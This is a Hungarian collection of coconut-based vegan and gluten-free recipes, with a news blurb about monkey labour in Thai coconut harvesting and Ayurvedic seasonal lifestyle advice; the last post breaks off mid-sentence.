
kókusz receptek
Gluténmentes karobos muffin
2025. április 25. Élj harmóniában
A tavaszi táplálkozás fő elve, a testedben lévő nedvesség (vizesedés, kézdagadás, ödéma, nyálkásodás, megfázás, allergiák) ellensúlyozása. Ez a muffin egy idei kísérletem, már sokadszor készítem el, és nálam megúnhatatlan lett. Szeretem ha valami nem túl édes és amúgy is a tavaszi étrendben érdemes a nyálkásító ételeket csökkenteni (pl. zsíros ételek, édességek, tejtermékek, pékáruk). A recepthez, úgy válogattam össze az alapanyagokat és a fűszereket, hogy ne nyálkásítsa a szervezetet, inkább kicsit szárító hatású legyen. Ráadásul ez a recept szuper jól beilleszthető a tavaszi tisztítókúra előkészítő és visszatérési szakaszába. Hozzávalók: 1 csésze rizsliszt 1 csésze hajdinaliszt 1/3 csésze kókuszliszt 3/4 csésze teljes értékű nádcukor 3/4 zacskó sütőpor 3 púpos ek. karobport (ha nincs otthon kakaót is használhatsz) 1/2 csésze tökmag 1/2 csésze aszalt vörösáfonya (ha nincs otthon tehetsz bele mazsolát) 6 ek kókuszzsír fahéj kardamom 1,5 - 2,5 csésze víz díszítéshez, ha szereted karobpor Egy tálban keverd össze a liszteket, a sütőport, a fűszereket ízlés szerint és a cukrot. Ha édesebben szereted, akkor több cukrot tegyél. Majd keverd hozzá az olvasztott kókuszzsírt és a vizet adagolva, addig amíg krémes muffintésztát nem kapsz - ne legyen folyós. Add hozzá a tökmagot és az áfonyát és keverd össze. Egy muffin formába (tehetsz bele muffin papírt) adagold bele a tésztát. Én mindegyiknek tettem a közepébe 1 - 2 aszalt szilvát. Tedd 180°C fokra előmelegített sütőbe és süsd amíg aranybarnára sül. (kb. 20-25p) Ha szeretnéd karobporral szórd meg a tetejét - bevallom én mindig szűrőn keresztül szórok:) Vegyszermentes (bio) alapanyagokat használj! Ha szeretnél egy irányított és támogató, gyengéd megoldást a szervezeted tisztítására, a salakanyagok eltávolítására, ahol napról, napra kísérlek végig a méregtelenítésen és bármikor kérdezhetsz is tőlem, akkor csatlakozz a Szezonális Tisztítás Online Programhoz. részletek és jelentkzés: https://www.eljharmoniaban.hu/tisztitas Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok:) szeretettel KAti #tisztítókúra #tavasz #recept #gluténmentes #édesség #muffin #vegán #vegetáriánus #tojásmentes #éljharmóniában #tisztítóétrend
Cukkinis tökmagkrém
A tökmagkrém tipikusan az a dolog, amit egyszer megkóstolsz, és onnantól mindig lesz belőle egy kis üveggel a hűtőben. Krémes, diós, kicsit füstös ízű, tele van jóféle zsírokkal, ásványi anyagokkal és egy nagy adag karakterrel. Bővelkedik magnéziumban, cinkben, vasban és E-vitaminban, de egy kevés B-vitamin is akad benne - mindaz, ami jól jön a hétköznapokban, ha valami egyszerre finom és tápláló falatra vágyunk. Pirítósra kenve, sült zöldségek mellé kanalazva, vagy akár tésztára keverve is működik - pont az a fajta recept, amitől egy egyszerű étkezés is különlegesebb lesz. És a legjobb benne, hogy villámgyorsan elkészül. Hozzávalók: 2 ek kókuszzsír (vagy olaj) 1/2 kk asafoetida (elhagyható) 1 közepes cukkini 1 kápia paprika egy csipet feketebors 20 dkg tökmag 1,5 kk só A kápiát csíkokra vágjuk, a cukkinit pedig lereszeljük. Egy serpenyőben felmelegítjük a zsiradékot és megpirítjuk benne az asafoetidát. Hozzáadjuk a kápiát és a cukkinit, és kevergetve addig sütjük, míg a leve elfő (kb. 10 perc). Ha megvan, botmixerrel pürésítjük, és félretesszük hűlni. Közben serpenyőben megpirítjuk a tökmagot. Hozzáadjuk a kihűlt cukkinihez és az egészet botmixerrel pürésítjük. Ha kihűlt, sózzuk, borsozzuk, és néhány órára hűtőbe tesszük, hogy az ízek összeérjenek.
Elektrolit ital
Az elektrolit italok egyre népszerűbbek, különösen sportolók, böjtölők, és azok körében, akik meg akarnak birkózni a meleg időjárás okozta dehidratációval. Az elektrolitok - mint a nátrium, kálium, magnézium és kalcium - fontos szerepet játszanak a hidratációban, az idegrendszer működésében, valamint az izomfunkciókban. A boltok polcain számos kész elektrolit italt és porformátumú kiegészítőt találhatunk, de ezek gyakran tartalmaznak mesterséges adalékanyagokat, cukrot vagy ízfokozókat. A legjobb megoldás: készítsd el házilag, természetes hozzávalókból, hogy biztosan a legjobbat nyújtsd a szervezetednek! Természetes elektrolit ital Hozzávalók: 1,5 dl kókuszvíz 3 dl víz fél dl frissen préselt uborkalé egy csipet só 1-2 tk frissen facsart citromlé 1 tk méz Összekeverjük a hozzávalókat, ha szeretnénk, beledobunk 2-3 jégkockát. Ez a házi elektrolit ital nemcsak frissítő és hidratáló, hanem segít pótolni azokat az ásványi anyagokat is, amelyeket a napi tevékenységek során elveszíthetsz. Ha edzés után, meleg időben vagy böjtölés során szeretnél gyorsan feltöltődni, ez az ital tökéletes választás lesz!
A majommunka beszüntetését kéri A Fehér Lótusz rendezője a thai miniszterelnöktől
2025. március 8. Prove - a világ vegán szemmel
A Thaiföldről származó kókusz nagy részét rabszolgamunkában dolgoztatott majmokkal szüretelik. A jelenség évek óta ismert, ám sem a kormány, sem az érintettek nem szándékoznak fellépni a gyakorlat ellen. A Fehér Lótusz sorozat rendezője, Mike White levélben kérte a thai miniszterelnököt, hogy szüntesse be a majommunkát és az állatok kizsákmányolását. Nemrég indult a nagy sikerű A… The post A majommunka beszüntetését kéri A Fehér Lótusz rendezője a thai miniszterelnöktől appeared first on Prove.hu.
Vegán GM linzer Naked Noble krémmel töltve
Kisfiunk kedvence a linzer. Ő lekvárral szereti, mert a kókusz nem tartozik a kedvencei közé, de ezzel a Naked Noble krémmel és a csokit kókusszal megszórva is igen finom, próbáljátok ki. Vagy el tudom képzelni málnás csokoládékrémmel töltve, és a tetején lévő csokira liofizált málnát szórva is. Hozzávalók: A töltelékhez: Naked Noble Kókuszos mandulakrém Elkészítés: […]
Vegán, mindenmentes kókuszgolyó
A kókuszgolyó igazi klasszikus, de most mégis azért hoztam egy receptet róla vagy vele, mert ebben nincsen tej, liszt és cukor sem, viszont van minden más :). Hozzávalók: 50 dkg darált GM keksz 3 ek. holland kakaópor 10 dkg Nature Cookta eritrit, porrá őrölve 10 dkg Nature Cookta kókuszolaj (olvaszttott állapotban) 8 ek. Naked Noble Törökmogyorókrém 10 […]
Egészségmegőrzés októberben - aktualitások
2024. október 6. Élj harmóniában
Az október hónap nagy változásokat hoz.... Megérkezett az ősz a Vata időszak. Látványosan korán sötétedik, egyre rövidebbek a nappalok és egyre tovább tart a sötét órák száma. Jóval hidegebbre vált az időjárás... még ha a nappali hőmérséklet
20 fok fölött is van a reggelek és esték már nagyon hűvösek. A szeles idő pedig
kiszárítja a természeteben a faleveleket. A természetben megfigyelheted, hogy az
egységes zép zöld tájak, egyre színesebbé válnak - zöldek, sárgák, barnák,
okkerek, vörösek, lilás árnyalatok, majd az elszínesedett levelet lehullanak. Elkezdenek
a fák megkopaszodni, leteszik szép színes ruháikat és visszavonulnak. Ez az
időszak az elcsendesedésről, visszavonulásról szó.
A lehülés legrosszabbul
a Vata-kat érinti, mert ők amúgy is hajlamosak szárazságra. A Pittáknak azonban
ez a megváltás időszaka. Le tudnak hűlni, nyugodtabb less az elméjük, míg
nyáron alig tudtak mozogni, most több az energiájuk és szívesen mennek sétálni,
kirándulni.
Októberben a Te szervezetedben is fokozódik a hidegérzet és
a szárazság. A vér a test belsejébe áramlik, hogy tudjon melegíteni így
tapasztalhatsz hidegebb lábakat, kezeket és sápadtságot és mivel a gyomor
vérellátása fokozódik megnőhet az étvágyad. Sokkal jobban kívánod a tartalmas
ételeket, mert a téli védekező zsírréteget építi fel a szervezeted. Ez a
szigetelő réteg biztosítja télen az immunitásod alapját, hogy ne fázz meg
egykönnyen. Azonban érdemes odafigyelni, főleg a kapháknak, hogy ne csapjon át
a téli üzemmód előkészítése túlzott evésbe, nassolásba, hízókúrába.
Tapasztalhatod, hogy szárazabb a bőröd, kiszárad a szád, a
torkod, lehet, hogy szárazság lesz a belekben - ami gázosodásra, puffadásra,
székrekedésre hajlamosít. akár úgy érezheted többet kell menned pisilni. Vata
alkatúaknál előfordulhat álmatlanság, szorongás, idegesség.
Ebbe a nagy, nagy változásokkal teli környezetben a szervezetednek
ilyenkor földelésre, stabilizálásra és hidratálásra, nedvesítésre, olajozásra van
szüksége.
Próbálj búcsút inteni a sok programnak, utazgatásnak. A sok
környezeti, évszaki változás amúgy is megviseli a szervezeted, a stabilitásod,
belső kiegyensúlyozottságod megőrzése érdekében részesítsd előnyben az otthoni
bekuckózást, pihenést, családdal való együttlétet, sütögetést, főzést, közös
étkezéseket, olvasást, filmnézést. A túl sok rohangálás, stimuláló program, most
nem ideális. Fókuszban az elcsendesedés, a visszavonulás: legyen.
Azoktóber nagy változást hoz az öltözködésben is. Öltözz
rétegesen, melegen. Vedd elő a kabátot, sapkát, kesztyűt, vastagharisnyát,
meleg pulóvert mellényt, csizmát. A lábadat is tartsd melegen, használj
gyapjúzoknit, papucsot és az utcára melegcipőt. A bekuckózáshoz, otthoni melegen
tartáshoz vegyél elő vastagabb otthoni ruhákat, meleg plédeket, lábmelegítőt,
melegvizes palackot.
Legyen egy jó napi rutinod
Próbálj rendszerességet vinni az életedbe, ugyanazon időben
kelj és feküdj le, reggelizz, ebédelj, vacsorázz. Ez már jó alapokat biztosít
ahhoz, hogy stabilabb, összeszedettebb legyél.
Reggel aludj nyugodtan kicsit tovább, mint nyáron, de azért
7 óráig kellj fel mindenképpen. Este próbálj lefeküdni 22:00-ig. A szervezeted
számára az egyik legfontosabb, hogy vissza tudjon töltődni, regenerálódjon és ezek
a folyamatok a szervezetedben 22:00-kor indulnak el. A késő lefekvés mentálisan
és fizikálisan is meg fog viselni, gyengíti az idegrendszert és az immunrendszert,
depire hajlamosabbá tesz, rontja az emésztésed hatékonyságát, csökkenti az
energiaszinted, rontja a hormonrendszered állapotát, etc..
Végezz reggel olajos önmasszázst zuhanyozás előtt. Ez nem
csak a bőrödet segít rugalmasan tartani és védeni a hidegtől, de jótékony az
idegrendszeredre, hormonrendszeredre, emésztésedre is.
Táplálkozás
A stabilizálást a táplálkozással tudod legjobban megalapozni,
így az őszi étkezéseidet földelő, stabilizáló és tápláló ételekből javasolt összeállítani.
Lévén már a szabadban egyre kevesebb időt tudunk tölteni, itt az ideje a sütőt
begyújtani, izzítani a főzőlapokat és otthon finomakat sütni, főzni.
Köszönj el a nyáron fogyasztott könnyű ételektől - saláták,
szendvicsek, hideg ételek, italok, uborka, padlizsán, paradicsom, paprika, grillezett
ételek ,etc. majd jövő nyáron újra
visszavezetheted őket.
Most a fókusz a hideg és a szárazság ellensúlyozásán van, a
téli immunitás megalapozásán. Főzz, egyél meleg ételeket és igyál meleg
italokat. Élvezd az ősz adta ételeket sárgarépa, sütőtök, cékla, dió,
gesztenye, meleg levesek, meleg gabonák, hüvelyesek, raguk, főzelékek. édességek,
kásák. Ez most a zsírosabb, tápláló, tartalmas, nehezebb ételek időszaka.
Elsődlegesen az édes, sós izek sokat tudnak segíteni
ellensúlyozni az őszi száraz időjárást. Egy kevés savanyú íz is jól jöhet ilyenkor
- pl savanyú alma párolva, kis lime vagy citromlé.
Az édességek kifejezetten ideálisak ebben a szárazságot
hozó időszakban. Az édes íz földel, stabilizál, táplál, nyugtatja az idegrendszer,
felépíti a testszöveteket, javítja a kedélyállapotodat. Édes ízű dolgok, nem a
fehércukrot jelentik. A rizs, a tej, tejszín, datolya, párolt alma, édesburgonya,
sütőtök, kókusztej, mandula, etc. azaz minden ami édes ízt képviseli jó most. Szóval
bátrabban az édes ízzel, mert ez most testileg és lelkileg is kedvező.
Az egyik legjobb a szárazság ellen, hogy vigyél be a
szervezetedbe több zsiradékot. Csorgass ghít (tisztított vajat az ételedre) vagy
önts hozzá olívaolajat vagy egy kis szezámolajat.
Részesítsd előnyben a meleg ételeket, már reggelire is
érdemes meleget fogyasztani - a kásák ideálisak ilyen célra (zabkása, quinoa
kása, rizskása, etc.) tehetsz hozzá dióféléket, aszalt gyümölcsöket. és persze tegyél hozzá zsiradékot is pl. ghí. Ha gyengült az emésztésed,
étkézés előtt fogyassz egy kis da rabka gyömbért egy kis sóval és egy kis
limelével
Használj kis mennyiségben
melegítő fűszereket (fahéj, gyömbér, feketebors, cardamom, kakukkfű, kurkuma),
de nem vidd túlzásba, és kerüld a nagyon szárítóakat, mint chili, cayannebors. A
túl sok csípős
Igyál meleg folyadékot, gyógyteákat, forralt vízet. Igyál édesgyökér teát vagy ha nagyon száraznak érzed magad fogyaszthatsz egy kis édesgyökér port is. Az édesgyökér kiváló a tested nedvesen tartására.
Tarts szem előtt, hogy
októberben nem csak a természetben vannak
nagy átalakulások, de a testedben és az elmédben is. Próbálj alkalmazkodni a
megváltozott körülményekhez, mert így tudod minimalizálni az időszak okozta
kellemetlen fizikális és mentális hatásokat. A stabil napirend, a tápláló, meleg
ételek fogyasztása, a lecsendesedés, lelassulás, az otthoni pihenés és a melegen
tartás segítenek komfortossá tenni az őszi változásokat. Kellemes októberi napokat kívánok :) szeretettel Kati #ájurvéda #október #egészségmegőrzés #ősz #vata #kiegyensúlyozottság
Krémes édesburgonya curry: a csicseriborsótól lesz igazán laktató
2024. szeptember 12. Prove - a világ vegán szemmel
Ez az édesburgonya curry egy igazán sokoldalú és egyszerűen elkészíthető étel, amely a dél-ázsiai ízek világát hozza el a konyhádba. Kiváló választás egy hétköznapi vacsorához, hiszen gyorsan elkészíthető, és gazdag ízvilágának köszönhetően másnap, újramelegítve is ugyanolyan finom marad. A lágy kókusztej és a fűszerek harmonikus kombinációja tökéletesen egészíti ki az édesburgonya természetes édességét, így egy… The post Krémes édesburgonya curry: a csicseriborsótól lesz igazán laktató appeared first on Prove.hu.
Kókuszos banánkenyér
2024. augusztus 10. Vegán receptek Tőlünk Nektek
Anna finomsága
Hozzávalók:
- Két nagy érett banán ( vagy három kicsi)
- 1 bögre almalé és rízstej vegyesen
- 1/2 bögre olaj
- 1 bögre nádcukor+ 1 csomag vaniliás cukor
- 1 kk fahéj, vagy mézeskalács fűszer
- 2 bögre liszt
- 1 bögre kókuszliszt
- 1 csomag sütőpor
- 1 csipet só
Elkészítés:
- Melegítsd elő a sütőt 180 fokra.
- A banánokat törd össze villával, majd öntsd rá az almalevet, az olajat, a cukrot és a fahéjat. Keverd össze és tedd félre.
- Másik tálba a kétféle liszt, es a sütőpor és a só összekever.
- A nedves összetevőket a szárazhoz adni, lassan emelgetve, különben összesik(!) Sűrű főzelék állagúnak kell lennie.
- Sütőpapírral bélelt formába csurgasd bele a masszát.
- Lazán borítsd le sütőpapírral.
- Süsd 50 percig, csak az utolsó 5 percben vedd le a sütőpapírt a tetejéről. A végén a rácson hagyd kihülni, miután kivetted a formából.
TIPP: Kókuszliszt helyett darált/ tört diót is használhatsz, a tetejére szilva is kerülhet.
Jó étvágyat!
Zöldborsós zöldség subji - zöldséges főétel
2024. április 28. Élj harmóniában
A melegebb időjárásnak köszönhetően, a zöldségszezon idén előbb kezdődött:) A Bio piacról a férjem tegnap megannyi ízletes, finom, friss, hazai zöldséget hozzott - brokkoli, sárgarépa, cékla, saláták, koriander, zöldborsó és még friss cukkinit is hozott. Ezt zöldséges főételt, ha más zöldségekkel készíted el, akkor is nagyon finom lesz. H ozzávalók 2 csésze felaprított brokkoli 1 csésze felaprított cukkini 1 csésze felaprított sárgarépa 1/2 csésze zöldborsó 2 ek. ghí (vegán változatban kókuszzsír) 1 tk. édesköménymaf 1 tk. római kömény 1/4 tk. lepkeszegmag 1 tk. őrölt koriander 1/4 tk. garam masala Vegyszermentes (bio) alapanyagokat használj! A zöldségeket mosd meg és vágd darabokra. Melegítsd fel az edényt és tedd bele a ghít, majd add hozzá az édesköményt, római köményt és a lepkeszegmagot. Ha pirulni kezdett add hozzá a koriandert és a masalakeveréket. Picit keverd meg és tedd hozzá a brokkolit, a sárgarépát és a zöldborsót és 1/2 csésze vizet. Hagyd picit puhulni, majd add hozzá a cukkinit is. Keverd úgy össze, hogy a fűszerek jól elkeveredjenek a zöldségekkel. Vedd le kisebb fokozatra és tedd rá a fedőt. addig főzd takarékon, amíg meg nem puhulnak a zöldségek. Én ma kókuszos, kardamomos baszmatirizst készítettem hozzá, de bármilyen gabonával tálalhatod. A végén mindig meglocsolom egy kis ghível. Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok:) szeretettel: KAti #recept #táplálkozás #ájurvédikus #vegán #vegetáriánus #cukkini #zöldborsó #sárgarépa ##gluténmentes #zöldséges #tojásmentes #tejmentes
Ananászos curry szójával: mindössze 30 perc alatt elkészül
2024. április 14. Prove - a világ vegán szemmel
Ha egy egyszerű, mindössze fél óra alatt összedobható fogást keresel, akkor ez az ananászos curry tökéletes választás. És nem a gyorsasága az egyetlen erénye: különleges ízvilága kiemeli az unalmas fogások sorából, így nem csak a fáradt hétköznapokon, hanem vacsorapartik fénypontjaként is megállja a helyét. Az ananászos curry alapja a kókusztej, ami - társulva a déli… The post Ananászos curry szójával: mindössze 30 perc alatt elkészül appeared first on Prove.hu.
Kovásszal készült fahéjas granola kókuszchips-szel (laktózmentes, vegán)
2024. március 14. Zizi kalandjai
Az elmúlt néhány hétben belevetettem magam a kovásszal készült pékáruk, sütemények készítésének tudományába. Gyerekcipőben járok még, próbálkozom, tesztelek recepteket, szépen lassan haladok. Kenyeret még nem sütöttem, viszont bagelt és csokis kekszet már igen. Most pedig egy adag granolát sütöttem kovásszal, ami felülmúlta a várakozásaimat, annyira finom lett. Igen, igen, granolát is lehet sütni… Source
Kókusztejes sütőtökkrémleves
Sütőtökkrémlevest sósan, fűszeresen szeretem készíteni, bár tudom, hogy többen édesen szeretik. Általában főzőtejszínt használok, de most egy kis csavart szerettem volna vinni a receptbe, ezért sűrített kókusztejjel és ahhoz illő pikáns fűszerekkel készült. Érdemes próbát tenni. Hozzávalók: 1 kg sütőtök 2 ek. olaj 2 dl konzerv kókusztej 1 fej vöröshagyma 2 gerezd fokhagyma egy ujjnyi […]
Paradicsomos karfiol subji - indiai zöldséges főétel
2023. november 24. Élj harmóniában
A paradicsmosszószos ételeket a legtöbben nagyon kedvelik, ez a zöldséges étel nagy kedvence a jóga elvonulásoknak. Amikor beköszöntenek a hidegebb évszakok, akkor ezen zöldséges étel minden összetevőjéhez könnyedén hozzá lehet jutni. Karfiol szinte egész évben elérhető és a paradicsomszósz, ugyan nem frisen, de könnyedén hozzá lehet jutni minden évszakban - a Müller, DM és Rossman is tart bio paradicsomszószt. A karfiol és a paradicsom áldásos hatásairól a blogon olvashatsz. Paradicsomos karfiol subji Hozzávalók: - 1 fej karfiol - 2 doboz paradicsomkonzerv - 1 tk. feketemustármag - 1 tk.őrölt koriander - 1/2 tk. őrölt római kömény - 1/2 tk. kurkuma - 1 tk. só - 1 ek. teljes értékű nádcukor - 2 szárított chili elmorzsolva - 1 csésze víz - 2 ek. ghí (vegán változatban kókuszzsír ) A karfiolt szedd rózsáira és mosd meg. Majd vágd apróbb darabokra ha szükséges Hevítsd fel egy edényben a ghít és először tedd bele a feketemustármagot - fedd le, mert a mustármagok amikor kipattognak könnyen elkezdenek kiugrálni az edényből:). Amikor már nem hallod a pattogó hangokat akkor tedd hozzá koriandert, római köményt, kurkumát, chilit és keverd meg. Majd add hozzá a paradicsomszószt és egy csésze vízet. Forrald fel, majd tedd hozzá a karfiolt. Addig főzd amíg a karfiol megpuhul. Tálald baszmati rizzsel vagy bármilyen más gabonával (kusz-kusz, quinoa, polenta vagy Chapatival , purival. Vegyszermentes (bio) alapanyagokat használj:) Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok hozzá:) szeretettel Kati #karfiol #karfiolos #recept #vegetáriánus #vegán #gluténmentes #tejmentes #szabdzsi #subji #paradicsomszószos
Kitchari (Pitta)
2023. augusztus 26. Élj harmóniában
Arról, hogy a kitchari az ájurvédában milyen csodás gyógyító étel már sokszor írtam. Amikor tisztító kúrákat ajánlok vagy csoportosan vezetek ott is ezt fogyasztjuk. Itt olvashatod a kitchariról az alap bejegyzést. További kitchari recepteket a blogon olvashatsz. Ez egy Pitta változat, ami nem hevíti a tested és segít a testben lévő sok hőt elvezetni. Hozzávalók 4 személyre 1 csésze sárga mung dal 1 csésze baszmati rizs 1,5 ujjnyi friss gyömbér meghámozva, feldarabolva 2 evőkanál kókuszreszelék 1 kis marék friss koriander levél összevágva fél csésze víz 3 evőkanál ghí fél teáskanál kurkuma negyed teáskanál só 6 csésze víz Mosd meg külön a rizst és a dalt. Ha van időd, áztasd be néhány órára a mung dalt, majd csepegtesd le. Tedd a gyömbért, a kókuszt, a koriandert és a 1/2 csésze vizet egy konyhai robotgépbe, és turmixold cseppfolyósításig. Melegítsd fel a ghít közepes lángon egy nagy serpenyőben, és add hozzá a leturmixolt fűszereket, majd a kurkumát és a sót. Jól keverd össze, és forrald fel, hogy az íze kijöjjön. Ezután keverd bele a rizst, a mung dalt és a hat csésze vizet. Forrald fel. Fedő nélkül forrald öt percig. Ezután fedd le, és hagyd kissé nyitva a fedelet. Vedd le a lángot, és főzd 25-30 percig, amíg a dal és a rizs megpuhul. Ha úgy érzed szeretnéd a szervezetedet megszabadítani a tél során felgyült salakanyagoktól, szeretettel látlak a Tavaszi Tisztítás általam vezetett otthoni online programra, ahol napról, napra kísérlek végig egy csodálatos ájurvédikus tisztításon. Tapasztald meg a könnyedséget, a jó emésztést, a zavartalan, tiszta gondolatokat. https://www.eljharmoniaban.hu/tisztitas Ha szeretnél az ájurvédikus életmódról, egyéni testalkatodról többet tudni, szeretettel várlak Egészségmegőrzés mesterfokon - ájurvéda életmódtanfolyamomra. https://www.eljharmoniaban.hu/ajurveda-eletmodtanfolyamHa szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok hozzá:) szeretettel Kati felhasznált szakirodalom: dr. Vasant Lad és Usha Lad Ájurvéda szakácskönyve
Kakaós, gluténmentes mini muffin
2023. július 25. Élj harmóniában
Az idő lehült, ilyenkor gyorsan kihasználom a lehetőséget és sütök valamit:) A nyári hőségben ritkábban kapcsolom be a sütőt, akkor is csak hajnalban, hogy még kicsit visszahűljön a lakás. Ma végre süthettem :) Barátokhoz megyünk délután, így készítettem kakaós minimuffint . A barátunk Robi gluténérzékeny, így egy gluténérzékeny receptet találtam ki. Amikor elkészült a férjem majdnem az adag felét baracklekvárral frissen el is fogyasztotta. :) Hozzávalók 1,5 csésze hajdinaliszt 0,5 csésze rizsliszt 1 csésze datolyacukor 0,5 csg. sütőpor vanília kadmamom por (ízlés szerint) kakaópor (ízlés szerint) 6 ek. kókuszzsír kicsit több, mint 2 csésze víz Vegyszermentes (bio) alapanyagokat használj! Keverd össze a száraz hozzávalókat egy tálba. Majd öntsd hozzá a kókuszzsírt és a vizet. Figyelj rá mennyi vizet vesz fel - a tészta legyen lágy, de ne folyós. Néhány lágy mozdulattal dolgozd össze a tésztát. Ne kevergesd hosszan a száraz összetevőket a nedvesekkel és ne hagyd sokáig állni. Adagold a tésztát a muffin formába. Én most minimuffin formát választottam és színes papírral béleltem ki. Ez ideális ha csak nasinak készítek valamit vagy vendégségbe, mert így ha valaki nem akar egy egész nagy muffint megenni akkor is tud enni belőle. Tedd 180 fokra előmelegített sütőbe és süsd készre (kb. 20 p) . Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok:) szeretettel: Kati
Gluténmentes, tojásmentes, tejmentes mandulás sütemény
2023. június 2. Eszemiszom – Jóga Magazin
Tél, december, karácsony
Ilyenkor az egyik legideálisabb alapanyag a süteményekhez a dió és magfélék. Ezek táplálók, tele vannak értékes vitaminokkal, nyomelemekkel, ásványi anyagokkal és még a fehérje tartalmuk is elég magas.
A karácsony általában elképzelhetetlen ilyen édességek nélkül. Jómagam nem igazán szeretem a bejglit és bonyolult elkészíteni is. Jobban szeretem az egyszerű dolgokat, ezért ma egy egyszerű süteményt készítettem. A magfélék, diófélék közül pedig a mandula a lehető legjobb választás az ájurvéda és az egészségmegőrzés szempontjából
Arról miért is érdemes mandulát fogyasztani itt olvashatsz bővebben
Ez a mandulás sütemény tepsiben is készíthető, de én most muffin formában csináltam meg, mert így szép kis darabos süteményeket kapok és nem kell a szeleteléssel csem foglalkozni.
Gluténmentes, tojásmentes, tejmentes mandulás sütemény
Hozzávalók
1,5 bögre hajdinaliszt
0,5 bögre kukoricaliszt
1 bögre kókuszcukor (teljes értékű nádcukorral helyettesítheted)
1 csg. sütőpor
vanília
fahéj
6 ek. kókuszolaj
1 bögre darált mandula
kb 1,6 bögre víz
Vegyszermentes (bio) alapanyagokat használj!
Keverd össze a száraz hozzávalókat egy tálba. Majd öntsd hozzá a kókuszolajat és a vizet. Ha a kókuszzsír meg van dermedve én forró vízzel szoktam leönteni és amikor szépen elolvadt a vízzel együtt öntöm a tésztába.
Néhány lágy mozdulattal dolgozd össze a tésztát. A muffin készítés egyik titka, hogy soha ne kevergesd hosszan a száraz összetevőket a nedvesekkel és ne hagyd sokáig állni. Ha kevés a folyadék akkor tegyél még hozzá annyit, hogy a tészta lágy legyen. Majd adagold a tésztát a muffin formába. Én muffin papírral szoktam a formát kibélelni, de vajjal és liszttel is megteheted. Tedd 180 fokra előmelegített sütőbe és süsd készre (kb. 20-25 p).
Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra.
https://www.eljharmoniaban.hu/tudatos-taplalkozas
Jó évágyat kívánok:)
szeretettel
Kati
Mogyoró-öntetes saláta
Hozzávalók: 50 dkg káposzta 2 nagyobb sárgarépa 2 marék földimogyoró 1 fej lilahagyma Az öntethez: A mogyoróöntethez: 5 dkg sós mogyoróvaj (krémes, nem crunchy) 1 db citrom leve 1 gerezd fokhagyma 1,5 dl kókuszital 3 ek. szójaszósz 1 ek. méz 1 csipet só Elkészítés: Felszeleteljük a káposztát és a répát, és félretesszük. Az öntet hozzávalóit turmixgépbe tesszük; és selymes állagúra turmixoljuk. Tálalás előtt öntsük rá a […]
Ájurvédikus tanácsok májusra
2023. április 28. Élj harmóniában
Május legfontosabb ünnepe, az Anyák napja. amit a természet is ünnepel csodálatos szépségekkel.) Én is nagy szeretettel köszöntök minden Édesanyát:) Májusra minden virágba borul. Csodálatos zöldellő tájak, illatozó virágok, fák... orgona, jácint, jázmin, liliom, japán lonc, akác, hárs és még hosszasan sorolhatnám májusban miféle varázslatokkal találkozhatunk. Nem csak a növények, de a madarak, bogarak is beindulnak... mindenhol madárcsicsergés és a rovarok zsongása, zümmögése hallható. Májusban már sokat lehetünk a szabadban, mert a hőmérséklet folyamatosan emelkedik és a napsütéses órák száma is egyre nő. Itt az ideje kirándulni, sétálni, piknikezni. Szánj időt arra, hogy élvezd a májusi varázslatot. Légy tudatosan jelen a pillanatban... élvezd a szép tájat, hallgasd a szél susogását, a madarak énekét, élvezd a megannyi édes, különleges illatot. Töltekezz a sok szép élménnyel. A májusban nem csak növényvilágban és az állítvilágban indítja be a természet a nyüzsgést, de az emberi szervezetben és szívekben is. Észreveheted, hogy megnő az életenergiaszinted. A május, mondják a szerelem hónapja is. Májusban az emberek szíve is jobban megnyílik, a legtöbben tapasztalják magukon, hogy szívesebben mennek társaságba, megnő a lelkesedés programokra, önfejlesztésre, tanulásra, kimozdulni otthonról, találkozni másokkal. Ájurvédikus szempontból, azzal, hogy nő a hőmérséklet, nő a testben a tűz elem, a hő is. Akinek amúgy is sok a tűz elem a testében, (pitta típusúak), májusban, júniusban emelkedhet a kritikai hajlam, türelmetlenség, düh, ingerültség az emberekben. A felszaporodó hő miatt, a májusi időszak már kedvez a gyulladásos betegségeknek (bélgyulladás, fogászati gyulladások, bőrgyulladások), kellemetlen bőrtübeteketnek (kiütések, viszketés) A nedves, hűvös évszakból, és az áprilisi változékony időjárásból, egyre inkább tartós melegre számíthatunk májusban. Ahogy az idő melegszik, megváltozik az is, hogy a szervezeted számára mi az ami támogató, ideális. Május hónap egy utolsó lehetőséget kínál mielőtt beindul a nyár, hogy megtisztítsd a szervezetedet a tél során lerakódott salakanyagoktól. Május végétől, amikor túlmelegszik a test, már nem ajánlott tisztítást végezni. Május 6-ig tudsz regisztrálni a Tavaszi Tisztítás Programunkra. https://www.eljharmoniaban.hu/tisztitas Hogy májusban is egészséges és kiegyensúlyozott legyél érdemes néhány egyszerű változtatást beépíteni az étrendedbe és az életmódban. Annak érdekében, hogy a tested ne melegedjen túl, kerüld a mentális és fizikális túlterhelést, a tűző napon való fizikai aktivitást, sportot, kertészkedést. Próbálj árnyékban lenni vagy a délelőtti vagy késő délutáni órákra időzíteni a szabadban végzett aktivitást. Növeld meg a folyadékbeviteledet - ha izzadékony vagy, akkor egy csipet sót és esetleg egy kis lime levet is adhatsz a vizedhez. A jógagyakorlásodban, részesítsd előnyben a pitta harmonizáló gyakorlatokat. A Jógastúdióban fokozatosan térünkát majd a pitta kiegyenlítő gyakorlásokra. A táplálkozásodban érdemes a szezonalitásnak megfelelően változtatni. Kezd el fogyasztani az új friss zöldeket, saláták, retek, rukkola, cikória, etc Májusban már sokféle zöldséget fogyaszthatunk, 